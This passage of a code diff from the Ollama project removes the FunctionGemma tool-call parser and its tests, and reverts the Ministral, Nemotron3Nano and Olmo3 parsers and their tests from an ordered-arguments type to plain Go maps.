-		if i+8 <= len(argsStr) && argsStr[i:i+8] == "<escape>" {
-			inEscape = !inEscape
-			current.WriteString("<escape>")
-			i += 7 // Skip the rest of <escape>
-			continue
-		}
-
-		if !inEscape {
-			switch ch {
-			case '{', '[':
-				depth++
-				current.WriteByte(ch)
-			case '}', ']':
-				depth--
-				current.WriteByte(ch)
-			case ',':
-				if depth == 0 {
-					if current.Len() > 0 {
-						parts = append(parts, current.String())
-						current.Reset()
-					}
-					continue
-				}
-				current.WriteByte(ch)
-			default:
-				current.WriteByte(ch)
-			}
-		} else {
-			current.WriteByte(ch)
-		}
-	}
-
-	if current.Len() > 0 {
-		parts = append(parts, current.String())
-	}
-
-	return parts
-}
-
-// parseValue parses a single value from the FunctionGemma format
-func (p *FunctionGemmaParser) parseValue(value string) any {
-	// Check for escaped string
-	if strings.HasPrefix(value, "<escape>") && strings.HasSuffix(value, "<escape>") {
-		// Remove the escape tags
-		return value[8 : len(value)-8]
-	}
-
-	// Check for boolean
-	if value == "true" {
-		return true
-	}
-	if value == "false" {
-		return false
-	}
-
-	// Check for number
-	if num, ok := parseNumber(value); ok {
-		return num
-	}
-
-	// Check for array
-	if strings.HasPrefix(value, "[") && strings.HasSuffix(value, "]") {
-		return p.parseArray(value[1 : len(value)-1])
-	}
-
-	// Check for object
-	if strings.HasPrefix(value, "{") && strings.HasSuffix(value, "}") {
-		return p.parseObject(value[1 : len(value)-1])
-	}
-
-	// Default to string
-	return value
-}
-
-// parseArray parses an array value
-func (p *FunctionGemmaParser) parseArray(content string) []any {
-	var result []any
-	parts := p.splitArguments(content)
-	for _, part := range parts {
-		result = append(result, p.parseValue(part))
-	}
-	return result
-}
-
-// parseObject parses an object value
-func (p *FunctionGemmaParser) parseObject(content string) map[string]any {
-	result := make(map[string]any)
-	parts := p.splitArguments(content)
-	for _, part := range parts {
-		colonIdx := strings.Index(part, ":")
-		if colonIdx == -1 {
-			continue
-		}
-		key := part[:colonIdx]
-		value := part[colonIdx+1:]
-		result[key] = p.parseValue(value)
-	}
-	return result
-}
-
-// parseNumber tries to parse a string as a number
-func parseNumber(s string) (any, bool) {
-	// Try integer first
-	var intVal int64
-	if _, err := fmt.Sscanf(s, "%d", &intVal); err == nil {
-		// Check if the entire string was consumed
-		if fmt.Sprintf("%d", intVal) == s {
-			return intVal, true
-		}
-	}
-
-	// Try float
-	var floatVal float64
-	if _, err := fmt.Sscanf(s, "%f", &floatVal); err == nil {
-		return floatVal, true
-	}
-
-	return nil, false
-}

model/parsers/functiongemma_test.go

@@ -1,426 +0,0 @@
-package parsers
-
-import (
-	"testing"
-
-	"github.com/google/go-cmp/cmp"
-	"github.com/ollama/ollama/api"
-	"github.com/stretchr/testify/assert"
-)
-
-func TestFunctionGemmaParser(t *testing.T) {
-	tests := []struct {
-		name          string
-		chunks        []string
-		tools         []api.Tool
-		expectedCalls []api.ToolCall
-		expectedText  string
-	}{
-		{
-			name:          "plain_content",
-			chunks:        []string{"H", "e", "l", "l", "o", ",", " ", "w", "o", "r", "l", "d", "!"},
-			expectedCalls: nil,
-			expectedText:  "Hello, world!",
-		},
-		{
-			name: "simple_tool_call",
-			chunks: []string{
-				"<", "start", "_", "function", "_", "call", ">",
-				"call", ":", "get", "_", "weather", "{",
-				"city", ":", "<", "escape", ">", "Paris", "<", "escape", ">",
-				"}", "<", "end", "_", "function", "_", "call", ">",
-			},
-			tools: []api.Tool{
-				{
-					Type: "function",
-					Function: api.ToolFunction{
-						Name: "get_weather",
-						Parameters: api.ToolFunctionParameters{
-							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
-								"city": {Type: api.PropertyType{"string"}},
-							}),
-						},
-					},
-				},
-			},
-			expectedCalls: []api.ToolCall{
-				{
-					Function: api.ToolCallFunction{
-						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"city": "Paris"}),
-					},
-				},
-			},
-			expectedText: "",
-		},
-		{
-			name: "content_before_tool_call",
-			chunks: []string{
-				"L", "et", " ", "me", " ", "check", ".",
-				"<", "start", "_", "function", "_", "call", ">",
-				"call", ":", "get", "_", "weather", "{",
-				"city", ":", "<", "escape", ">", "Paris", "<", "escape", ">",
-				"}", "<", "end", "_", "function", "_", "call", ">",
-			},
-			expectedCalls: []api.ToolCall{
-				{
-					Function: api.ToolCallFunction{
-						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"city": "Paris"}),
-					},
-				},
-			},
-			expectedText: "Let me check.",
-		},
-		{
-			name: "numeric_arguments",
-			chunks: []string{
-				"<", "start", "_", "function", "_", "call", ">",
-				"call", ":", "add", "{",
-				"a", ":", "1", ",", "b", ":", "2",
-				"}", "<", "end", "_", "function", "_", "call", ">",
-			},
-			expectedCalls: []api.ToolCall{
-				{
-					Function: api.ToolCallFunction{
-						Name:      "add",
-						Arguments: testArgs(map[string]any{"a": int64(1), "b": int64(2)}),
-					},
-				},
-			},
-			expectedText: "",
-		},
-		{
-			name: "boolean_arguments",
-			chunks: []string{
-				"<", "start", "_", "function", "_", "call", ">",
-				"call", ":", "set", "_", "flag", "{",
-				"enabled", ":", "true", ",", "verbose", ":", "false",
-				"}", "<", "end", "_", "function", "_", "call", ">",
-			},
-			expectedCalls: []api.ToolCall{
-				{
-					Function: api.ToolCallFunction{
-						Name:      "set_flag",
-						Arguments: testArgs(map[string]any{"enabled": true, "verbose": false}),
-					},
-				},
-			},
-			expectedText: "",
-		},
-		{
-			name: "multiple_tool_calls",
-			chunks: []string{
-				"<", "start", "_", "function", "_", "call", ">",
-				"call", ":", "get", "_", "weather", "{",
-				"city", ":", "<", "escape", ">", "Paris", "<", "escape", ">",
-				"}", "<", "end", "_", "function", "_", "call", ">",
-				"<", "start", "_", "function", "_", "call", ">",
-				"call", ":", "get", "_", "weather", "{",
-				"city", ":", "<", "escape", ">", "London", "<", "escape", ">",
-				"}", "<", "end", "_", "function", "_", "call", ">",
-			},
-			expectedCalls: []api.ToolCall{
-				{
-					Function: api.ToolCallFunction{
-						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"city": "Paris"}),
-					},
-				},
-				{
-					Function: api.ToolCallFunction{
-						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"city": "London"}),
-					},
-				},
-			},
-			expectedText: "",
-		},
-		{
-			name: "array_argument",
-			chunks: []string{
-				"<", "start", "_", "function", "_", "call", ">",
-				"call", ":", "process", "{",
-				"items", ":", "[",
-				"<", "escape", ">", "a", "<", "escape", ">", ",",
-				"<", "escape", ">", "b", "<", "escape", ">", ",",
-				"<", "escape", ">", "c", "<", "escape", ">",
-				"]",
-				"}", "<", "end", "_", "function", "_", "call", ">",
-			},
-			expectedCalls: []api.ToolCall{
-				{
-					Function: api.ToolCallFunction{
-						Name:      "process",
-						Arguments: testArgs(map[string]any{"items": []any{"a", "b", "c"}}),
-					},
-				},
-			},
-			expectedText: "",
-		},
-		{
-			name: "object_argument",
-			chunks: []string{
-				"<", "start", "_", "function", "_", "call", ">",
-				"call", ":", "update", "{",
-				"data", ":", "{",
-				"name", ":", "<", "escape", ">", "test", "<", "escape", ">", ",",
-				"value", ":", "42",
-				"}",
-				"}", "<", "end", "_", "function", "_", "call", ">",
-			},
-			expectedCalls: []api.ToolCall{
-				{
-					Function: api.ToolCallFunction{
-						Name: "update",
-						Arguments: testArgs(map[string]any{
-							"data": map[string]any{"name": "test", "value": int64(42)},
-						}),
-					},
-				},
-			},
-			expectedText: "",
-		},
-		{
-			name:          "empty_input",
-			chunks:        []string{},
-			expectedCalls: nil,
-			expectedText:  "",
-		},
-		{
-			name: "tool_call_with_no_arguments",
-			chunks: []string{
-				"<", "start", "_", "function", "_", "call", ">",
-				"call", ":", "get", "_", "time", "{", "}",
-				"<", "end", "_", "function", "_", "call", ">",
-			},
-			expectedCalls: []api.ToolCall{
-				{
-					Function: api.ToolCallFunction{
-						Name:      "get_time",
-						Arguments: api.NewToolCallFunctionArguments(),
-					},
-				},
-			},
-			expectedText: "",
-		},
-		{
-			name: "content_with_angle_brackets",
-			chunks: []string{
-				"The", " ", "result", " ", "is", " ", "a", " ", "<", "value", ">", " ", "tag",
-			},
-			expectedCalls: nil,
-			expectedText:  "The result is a <value> tag",
-		},
-		{
-			name: "float_argument",
-			chunks: []string{
-				"<", "start", "_", "function", "_", "call", ">",
-				"call", ":", "set", "_", "temp", "{",
-				"value", ":", "3", ".", "14",
-				"}", "<", "end", "_", "function", "_", "call", ">",
-			},
-			expectedCalls: []api.ToolCall{
-				{
-					Function: api.ToolCallFunction{
-						Name:      "set_temp",
-						Arguments: testArgs(map[string]any{"value": 3.14}),
-					},
-				},
-			},
-			expectedText: "",
-		},
-		{
-			name: "content_after_tool_call",
-			chunks: []string{
-				"<", "start", "_", "function", "_", "call", ">",
-				"call", ":", "test", "{", "}",
-				"<", "end", "_", "function", "_", "call", ">",
-				"Done", "!",
-			},
-			expectedCalls: []api.ToolCall{
-				{
-					Function: api.ToolCallFunction{
-						Name:      "test",
-						Arguments: api.NewToolCallFunctionArguments(),
-					},
-				},
-			},
-			expectedText: "Done!",
-		},
-		{
-			name: "unicode_content_and_arguments",
-			chunks: []string{
-				"こんにちは", " ",
-				"<", "start", "_", "function", "_", "call", ">",
-				"call", ":", "greet", "{",
-				"name", ":", "<", "escape", ">", "日本語", "<", "escape", ">",
-				"}", "<", "end", "_", "function", "_", "call", ">",
-			},
-			expectedCalls: []api.ToolCall{
-				{
-					Function: api.ToolCallFunction{
-						Name:      "greet",
-						Arguments: testArgs(map[string]any{"name": "日本語"}),
-					},
-				},
-			},
-			expectedText: "こんにちは ",
-		},
-		{
-			name: "multiple_params_sorted",
-			chunks: []string{
-				"<", "start", "_", "function", "_", "call", ">",
-				"call", ":", "search", "{",
-				"query", ":", "<", "escape", ">", "test", "<", "escape", ">", ",",
-				"limit", ":", "10", ",",
-				"offset", ":", "0",
-				"}", "<", "end", "_", "function", "_", "call", ">",
-			},
-			expectedCalls: []api.ToolCall{
-				{
-					Function: api.ToolCallFunction{
-						Name: "search",
-						Arguments: testArgs(map[string]any{
-							"query":  "test",
-							"limit":  int64(10),
-							"offset": int64(0),
-						}),
-					},
-				},
-			},
-			expectedText: "",
-		},
-		{
-			name: "nested_object_argument",
-			chunks: []string{
-				"<", "start", "_", "function", "_", "call", ">",
-				"call", ":", "create", "{",
-				"config", ":", "{",
-				"settings", ":", "{",
-				"enabled", ":", "true", ",",
-				"name", ":", "<", "escape", ">", "test", "<", "escape", ">",
-				"}",
-				"}",
-				"}", "<", "end", "_", "function", "_", "call", ">",
-			},
-			expectedCalls: []api.ToolCall{
-				{
-					Function: api.ToolCallFunction{
-						Name: "create",
-						Arguments: testArgs(map[string]any{
-							"config": map[string]any{
-								"settings": map[string]any{
-									"enabled": true,
-									"name":    "test",
-								},
-							},
-						}),
-					},
-				},
-			},
-			expectedText: "",
-		},
-		{
-			name: "partial_start_tag_in_content",
-			chunks: []string{
-				"Hello", " ", "<", "start", " ", "world",
-			},
-			expectedCalls: nil,
-			expectedText:  "Hello <start world",
-		},
-		{
-			name: "parallel_tool_calls",
-			chunks: []string{
-				"<", "start", "_", "function", "_", "call", ">",
-				"call", ":", "get", "_", "weather", "{",
-				"city", ":", "<", "escape", ">", "Paris", "<", "escape", ">",
-				"}", "<", "end", "_", "function", "_", "call", ">",
-				"<", "start", "_", "function", "_", "call", ">",
-				"call", ":", "get", "_", "time", "{",
-				"timezone", ":", "<", "escape", ">", "UTC", "<", "escape", ">",
-				"}", "<", "end", "_", "function", "_", "call", ">",
-			},
-			expectedCalls: []api.ToolCall{
-				{
-					Function: api.ToolCallFunction{
-						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"city": "Paris"}),
-					},
-				},
-				{
-					Function: api.ToolCallFunction{
-						Name:      "get_time",
-						Arguments: testArgs(map[string]any{"timezone": "UTC"}),
-					},
-				},
-			},
-			expectedText: "",
-		},
-		{
-			name: "content_between_tool_calls",
-			chunks: []string{
-				"<", "start", "_", "function", "_", "call", ">",
-				"call", ":", "first", "{", "}",
-				"<", "end", "_", "function", "_", "call", ">",
-				"Some", " ", "text", " ", "here",
-				"<", "start", "_", "function", "_", "call", ">",
-				"call", ":", "second", "{", "}",
-				"<", "end", "_", "function", "_", "call", ">",
-			},
-			expectedCalls: []api.ToolCall{
-				{
-					Function: api.ToolCallFunction{
-						Name:      "first",
-						Arguments: api.NewToolCallFunctionArguments(),
-					},
-				},
-				{
-					Function: api.ToolCallFunction{
-						Name:      "second",
-						Arguments: api.NewToolCallFunctionArguments(),
-					},
-				},
-			},
-			expectedText: "Some text here",
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			parser := &FunctionGemmaParser{}
-			parser.Init(tt.tools, nil, nil)
-
-			var allContent string
-			var allCalls []api.ToolCall
-
-			for i, chunk := range tt.chunks {
-				done := i == len(tt.chunks)-1
-				content, _, calls, err := parser.Add(chunk, done)
-				assert.NoError(t, err)
-				allContent += content
-				allCalls = append(allCalls, calls...)
-			}
-
-			// Handle empty chunks case
-			if len(tt.chunks) == 0 {
-				content, _, calls, err := parser.Add("", true)
-				assert.NoError(t, err)
-				allContent = content
-				allCalls = calls
-			}
-
-			assert.Equal(t, tt.expectedText, allContent)
-			if diff := cmp.Diff(tt.expectedCalls, allCalls, argsComparer); diff != "" {
-				t.Errorf("calls mismatch (-want +got):\n%s", diff)
-			}
-		})
-	}
-}
-
-func TestFunctionGemmaParser_HasSupport(t *testing.T) {
-	parser := &FunctionGemmaParser{}
-	assert.True(t, parser.HasToolSupport())
-	assert.False(t, parser.HasThinkingSupport())
-}

model/parsers/ministral.go

@@ -112,8 +112,8 @@ func (p *MinistralParser) Add(s string, done bool) (content string, thinking str
 			before, _ := splitAtTag(&p.buffer, "}", false)
 			before += "}"
 
-			var args api.ToolCallFunctionArguments
-			if err := json.Unmarshal([]byte(before), &args); err != nil {
+			var data map[string]any
+			if err := json.Unmarshal([]byte(before), &data); err != nil {
 				// todo - throw a better error
 				return "", "", calls, err
 			}
@@ -123,7 +123,7 @@ func (p *MinistralParser) Add(s string, done bool) (content string, thinking str
 			call := api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name:      p.currentTool.Function.Name,
-					Arguments: args,
+					Arguments: api.ToolCallFunctionArguments(data),
 				},
 			}
 			calls = append(calls, call)

model/parsers/nemotron3nano.go

@@ -225,7 +225,7 @@ func (p *Nemotron3NanoParser) parseToolCall(content string) (api.ToolCall, error
 	toolCall.Function.Name = fnMatch[1]
 
 	// Extract parameters
-	toolCall.Function.Arguments = api.NewToolCallFunctionArguments()
+	toolCall.Function.Arguments = make(api.ToolCallFunctionArguments)
 	paramMatches := nemotronParameterRegex.FindAllStringSubmatch(content, -1)
 	for _, match := range paramMatches {
 		if len(match) >= 3 {
@@ -233,7 +233,7 @@ func (p *Nemotron3NanoParser) parseToolCall(content string) (api.ToolCall, error
 			paramValue := strings.TrimSpace(match[2])
 
 			// Try to parse as typed value based on tool definition
-			toolCall.Function.Arguments.Set(paramName, p.parseParamValue(paramName, paramValue))
+			toolCall.Function.Arguments[paramName] = p.parseParamValue(paramName, paramValue)
 		}
 	}
 
@@ -244,11 +244,9 @@ func (p *Nemotron3NanoParser) parseParamValue(paramName string, raw string) any
 	// Find the matching tool to get parameter type
 	var paramType api.PropertyType
 	for _, tool := range p.tools {
-		if tool.Function.Parameters.Properties != nil {
-			if prop, ok := tool.Function.Parameters.Properties.Get(paramName); ok {
-				paramType = prop.Type
-				break
-			}
+		if prop, ok := tool.Function.Parameters.Properties[paramName]; ok {
+			paramType = prop.Type
+			break
 		}
 	}
 

model/parsers/nemotron3nano_test.go

@@ -51,7 +51,7 @@ func TestNemotron3NanoParser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"city": "Paris"}),
+						Arguments: map[string]any{"city": "Paris"},
 					},
 				},
 			},
@@ -65,7 +65,7 @@ func TestNemotron3NanoParser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"city": "NYC"}),
+						Arguments: map[string]any{"city": "NYC"},
 					},
 				},
 			},
@@ -78,10 +78,10 @@ func TestNemotron3NanoParser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name: "book_flight",
-						Arguments: testArgs(map[string]any{
+						Arguments: map[string]any{
 							"from": "SFO",
 							"to":   "NYC",
-						}),
+						},
 					},
 				},
 			},
@@ -95,13 +95,13 @@ func TestNemotron3NanoParser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"city": "San Francisco"}),
+						Arguments: map[string]any{"city": "San Francisco"},
 					},
 				},
 				{
 					Function: api.ToolCallFunction{
 						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"city": "New York"}),
+						Arguments: map[string]any{"city": "New York"},
 					},
 				},
 			},
@@ -115,7 +115,7 @@ func TestNemotron3NanoParser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"city": "Paris"}),
+						Arguments: map[string]any{"city": "Paris"},
 					},
 				},
 			},
@@ -130,7 +130,7 @@ func TestNemotron3NanoParser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "search",
-						Arguments: testArgs(map[string]any{"query": "test"}),
+						Arguments: map[string]any{"query": "test"},
 					},
 				},
 			},
@@ -143,7 +143,7 @@ func TestNemotron3NanoParser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "create_note",
-						Arguments: testArgs(map[string]any{"content": "Line 1\nLine 2\nLine 3"}),
+						Arguments: map[string]any{"content": "Line 1\nLine 2\nLine 3"},
 					},
 				},
 			},
@@ -165,7 +165,7 @@ func TestNemotron3NanoParser(t *testing.T) {
 			name:          "tool call with no function name - returns empty tool call",
 			input:         "<tool_call>\n<function=>\n</function>\n</tool_call>",
 			thinkValue:    nil,
-			expectedCalls: []api.ToolCall{{Function: api.ToolCallFunction{Name: "", Arguments: api.NewToolCallFunctionArguments()}}},
+			expectedCalls: []api.ToolCall{{Function: api.ToolCallFunction{Name: "", Arguments: nil}}},
 		},
 		{
 			name:            "content with newlines preserved",
@@ -194,7 +194,7 @@ func TestNemotron3NanoParser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "set_temp",
-						Arguments: testArgs(map[string]any{"value": "42"}),
+						Arguments: map[string]any{"value": "42"},
 					},
 				},
 			},
@@ -226,7 +226,7 @@ func TestNemotron3NanoParser(t *testing.T) {
 			if diff := cmp.Diff(thinking, tt.expectedThinking); diff != "" {
 				t.Errorf("thinking mismatch (-got +want):\n%s", diff)
 			}
-			if diff := cmp.Diff(calls, tt.expectedCalls, argsComparer); diff != "" {
+			if diff := cmp.Diff(calls, tt.expectedCalls); diff != "" {
 				t.Errorf("calls mismatch (-got +want):\n%s", diff)
 			}
 		})
@@ -276,7 +276,7 @@ func TestNemotron3NanoParser_Streaming(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"city": "Paris"}),
+						Arguments: map[string]any{"city": "Paris"},
 					},
 				},
 			},
@@ -290,7 +290,7 @@ func TestNemotron3NanoParser_Streaming(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"city": "NYC"}),
+						Arguments: map[string]any{"city": "NYC"},
 					},
 				},
 			},
@@ -302,7 +302,7 @@ func TestNemotron3NanoParser_Streaming(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "test",
-						Arguments: api.NewToolCallFunctionArguments(),
+						Arguments: map[string]any{},
 					},
 				},
 			},
@@ -329,10 +329,10 @@ func TestNemotron3NanoParser_Streaming(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name: "book_flight",
-						Arguments: testArgs(map[string]any{
+						Arguments: map[string]any{
 							"from": "SFO",
 							"to":   "NYC",
-						}),
+						},
 					},
 				},
 			},
@@ -347,7 +347,7 @@ func TestNemotron3NanoParser_Streaming(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "search",
-						Arguments: testArgs(map[string]any{"query": "test query"}),
+						Arguments: map[string]any{"query": "test query"},
 					},
 				},
 			},
@@ -367,13 +367,13 @@ func TestNemotron3NanoParser_Streaming(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"city": "San Francisco"}),
+						Arguments: map[string]any{"city": "San Francisco"},
 					},
 				},
 				{
 					Function: api.ToolCallFunction{
 						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"city": "New York"}),
+						Arguments: map[string]any{"city": "New York"},
 					},
 				},
 			},
@@ -386,7 +386,7 @@ func TestNemotron3NanoParser_Streaming(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "create_note",
-						Arguments: testArgs(map[string]any{"content": "Line 1\nLine 2\nLine 3"}),
+						Arguments: map[string]any{"content": "Line 1\nLine 2\nLine 3"},
 					},
 				},
 			},
@@ -413,7 +413,7 @@ func TestNemotron3NanoParser_Streaming(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "test",
-						Arguments: api.NewToolCallFunctionArguments(),
+						Arguments: map[string]any{},
 					},
 				},
 			},
@@ -426,7 +426,7 @@ func TestNemotron3NanoParser_Streaming(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "test",
-						Arguments: testArgs(map[string]any{"name": ""}),
+						Arguments: map[string]any{"name": ""},
 					},
 				},
 			},
@@ -473,7 +473,7 @@ func TestNemotron3NanoParser_Streaming(t *testing.T) {
 			if diff := cmp.Diff(allThinking, tt.expectedThinking); diff != "" {
 				t.Errorf("thinking mismatch (-got +want):\n%s", diff)
 			}
-			if diff := cmp.Diff(allCalls, tt.expectedCalls, argsComparer); diff != "" {
+			if diff := cmp.Diff(allCalls, tt.expectedCalls); diff != "" {
 				t.Errorf("calls mismatch (-got +want):\n%s", diff)
 			}
 		})
@@ -537,9 +537,9 @@ func TestNemotron3NanoParser_WithTools(t *testing.T) {
 				Name: "get_weather",
 				Parameters: api.ToolFunctionParameters{
 					Type: "object",
-					Properties: testPropsMap(map[string]api.ToolProperty{
+					Properties: map[string]api.ToolProperty{
 						"city": {Type: api.PropertyType{"string"}},
-					}),
+					},
 				},
 			},
 		},
@@ -548,7 +548,7 @@ func TestNemotron3NanoParser_WithTools(t *testing.T) {
 	p := &Nemotron3NanoParser{}
 	returnedTools := p.Init(tools, nil, nil)
 
-	if diff := cmp.Diff(returnedTools, tools, toolsComparer); diff != "" {
+	if diff := cmp.Diff(returnedTools, tools); diff != "" {
 		t.Errorf("tools mismatch (-got +want):\n%s", diff)
 	}
 
@@ -563,12 +563,12 @@ func TestNemotron3NanoParser_WithTools(t *testing.T) {
 		{
 			Function: api.ToolCallFunction{
 				Name:      "get_weather",
-				Arguments: testArgs(map[string]any{"city": "Paris"}),
+				Arguments: map[string]any{"city": "Paris"},
 			},
 		},
 	}
 
-	if diff := cmp.Diff(calls, expectedCalls, argsComparer); diff != "" {
+	if diff := cmp.Diff(calls, expectedCalls); diff != "" {
 		t.Errorf("calls mismatch (-got +want):\n%s", diff)
 	}
 }

model/parsers/olmo3.go

@@ -242,8 +242,8 @@ func parseOlmo3SingleFunctionCall(s string) (api.ToolCall, error) {
 
 // parseOlmo3Arguments parses comma-separated key=value pairs
 // Handles nested parentheses, brackets, braces, and quoted strings
-func parseOlmo3Arguments(s string) (api.ToolCallFunctionArguments, error) {
-	args := api.NewToolCallFunctionArguments()
+func parseOlmo3Arguments(s string) (map[string]any, error) {
+	args := make(map[string]any)
 	s = strings.TrimSpace(s)
 	if s == "" {
 		return args, nil
@@ -261,7 +261,7 @@ func parseOlmo3Arguments(s string) (api.ToolCallFunctionArguments, error) {
 		// Find the first = sign
 		eqIdx := strings.Index(part, "=")
 		if eqIdx == -1 {
-			return api.ToolCallFunctionArguments{}, fmt.Errorf("invalid argument format: %s", part)
+			return nil, fmt.Errorf("invalid argument format: %s", part)
 		}
 
 		key := strings.TrimSpace(part[:eqIdx])
@@ -269,10 +269,10 @@ func parseOlmo3Arguments(s string) (api.ToolCallFunctionArguments, error) {
 
 		value, err := parseOlmo3Value(valueStr)
 		if err != nil {
-			return api.ToolCallFunctionArguments{}, fmt.Errorf("failed to parse value for %s: %w", key, err)
+			return nil, fmt.Errorf("failed to parse value for %s: %w", key, err)
 		}
 
-		args.Set(key, value)
+		args[key] = value
 	}
 
 	return args, nil

model/parsers/olmo3_test.go

@@ -28,7 +28,7 @@ func TestOlmo3Parser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"location": "San Francisco"}),
+						Arguments: map[string]any{"location": "San Francisco"},
 					},
 				},
 			},
@@ -41,7 +41,7 @@ func TestOlmo3Parser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"location": "NYC"}),
+						Arguments: map[string]any{"location": "NYC"},
 					},
 				},
 			},
@@ -53,11 +53,11 @@ func TestOlmo3Parser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name: "book_flight",
-						Arguments: testArgs(map[string]any{
+						Arguments: map[string]any{
 							"from": "SFO",
 							"to":   "NYC",
 							"date": "2024-01-15",
-						}),
+						},
 					},
 				},
 			},
@@ -70,13 +70,13 @@ get_weather(location="New York")</function_calls>`,
 				{
 					Function: api.ToolCallFunction{
 						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"location": "San Francisco"}),
+						Arguments: map[string]any{"location": "San Francisco"},
 					},
 				},
 				{
 					Function: api.ToolCallFunction{
 						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"location": "New York"}),
+						Arguments: map[string]any{"location": "New York"},
 					},
 				},
 			},
@@ -88,7 +88,7 @@ get_weather(location="New York")</function_calls>`,
 				{
 					Function: api.ToolCallFunction{
 						Name:      "set_temperature",
-						Arguments: testArgs(map[string]any{"value": int64(72)}),
+						Arguments: map[string]any{"value": int64(72)},
 					},
 				},
 			},
@@ -100,7 +100,7 @@ get_weather(location="New York")</function_calls>`,
 				{
 					Function: api.ToolCallFunction{
 						Name:      "set_price",
-						Arguments: testArgs(map[string]any{"amount": 19.99}),
+						Arguments: map[string]any{"amount": 19.99},
 					},
 				},
 			},
@@ -112,7 +112,7 @@ get_weather(location="New York")</function_calls>`,
 				{
 					Function: api.ToolCallFunction{
 						Name:      "toggle_setting",
-						Arguments: testArgs(map[string]any{"enabled": true}),
+						Arguments: map[string]any{"enabled": true},
 					},
 				},
 			},
@@ -124,7 +124,7 @@ get_weather(location="New York")</function_calls>`,
 				{
 					Function: api.ToolCallFunction{
 						Name:      "clear_value",
-						Arguments: testArgs(map[string]any{"field": nil}),
+						Arguments: map[string]any{"field": nil},
 					},
 				},
 			},
@@ -136,7 +136,7 @@ get_weather(location="New York")</function_calls>`,
 				{
 					Function: api.ToolCallFunction{
 						Name:      "process_items",
-						Arguments: testArgs(map[string]any{"items": []any{"apple", "banana", "cherry"}}),
+						Arguments: map[string]any{"items": []any{"apple", "banana", "cherry"}},
 					},
 				},
 			},
@@ -148,12 +148,12 @@ get_weather(location="New York")</function_calls>`,
 				{
 					Function: api.ToolCallFunction{
 						Name: "update_config",
-						Arguments: testArgs(map[string]any{
+						Arguments: map[string]any{
 							"settings": map[string]any{
 								"theme":    "dark",
 								"fontSize": int64(14),
 							},
-						}),
+						},
 					},
 				},
 			},
@@ -165,7 +165,7 @@ get_weather(location="New York")</function_calls>`,
 				{
 					Function: api.ToolCallFunction{
 						Name: "create_request",
-						Arguments: testArgs(map[string]any{
+						Arguments: map[string]any{
 							"data": map[string]any{
 								"user": map[string]any{
 									"name": "John",
@@ -173,7 +173,7 @@ get_weather(location="New York")</function_calls>`,
 								},
 								"active": true,
 							},
-						}),
+						},
 					},
 				},
 			},
@@ -185,7 +185,7 @@ get_weather(location="New York")</function_calls>`,
 				{
 					Function: api.ToolCallFunction{
 						Name:      "get_current_time",
-						Arguments: testArgs(map[string]any{}),
+						Arguments: map[string]any{},
 					},
 				},
 			},
@@ -197,7 +197,7 @@ get_weather(location="New York")</function_calls>`,
 				{
 					Function: api.ToolCallFunction{
 						Name:      "search",
-						Arguments: testArgs(map[string]any{"query": "hello world"}),
+						Arguments: map[string]any{"query": "hello world"},
 					},
 				},
 			},
@@ -209,7 +209,7 @@ get_weather(location="New York")</function_calls>`,
 				{
 					Function: api.ToolCallFunction{
 						Name:      "search",
-						Arguments: testArgs(map[string]any{"query": `say "hello"`}),
+						Arguments: map[string]any{"query": `say "hello"`},
 					},
 				},
 			},
@@ -221,11 +221,11 @@ get_weather(location="New York")</function_calls>`,
 				{
 					Function: api.ToolCallFunction{
 						Name: "create_user",
-						Arguments: testArgs(map[string]any{
+						Arguments: map[string]any{
 							"name":   "John",
 							"age":    int64(30),
 							"active": true,
-						}),
+						},
 					},
 				},
 			},
@@ -257,7 +257,7 @@ get_weather(location="New York")</function_calls>`,
 			if diff := cmp.Diff(thinking, tt.expectedThinking); diff != "" {
 				t.Errorf("thinking mismatch (-got +want):\n%s", diff)
 			}
-			if diff := cmp.Diff(calls, tt.expectedCalls, argsComparer); diff != "" {
+			if diff := cmp.Diff(calls, tt.expectedCalls); diff != "" {
 				t.Errorf("calls mismatch (-got +want):\n%s", diff)
 			}
 		})
@@ -283,7 +283,7 @@ func TestOlmo3Parser_Streaming(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
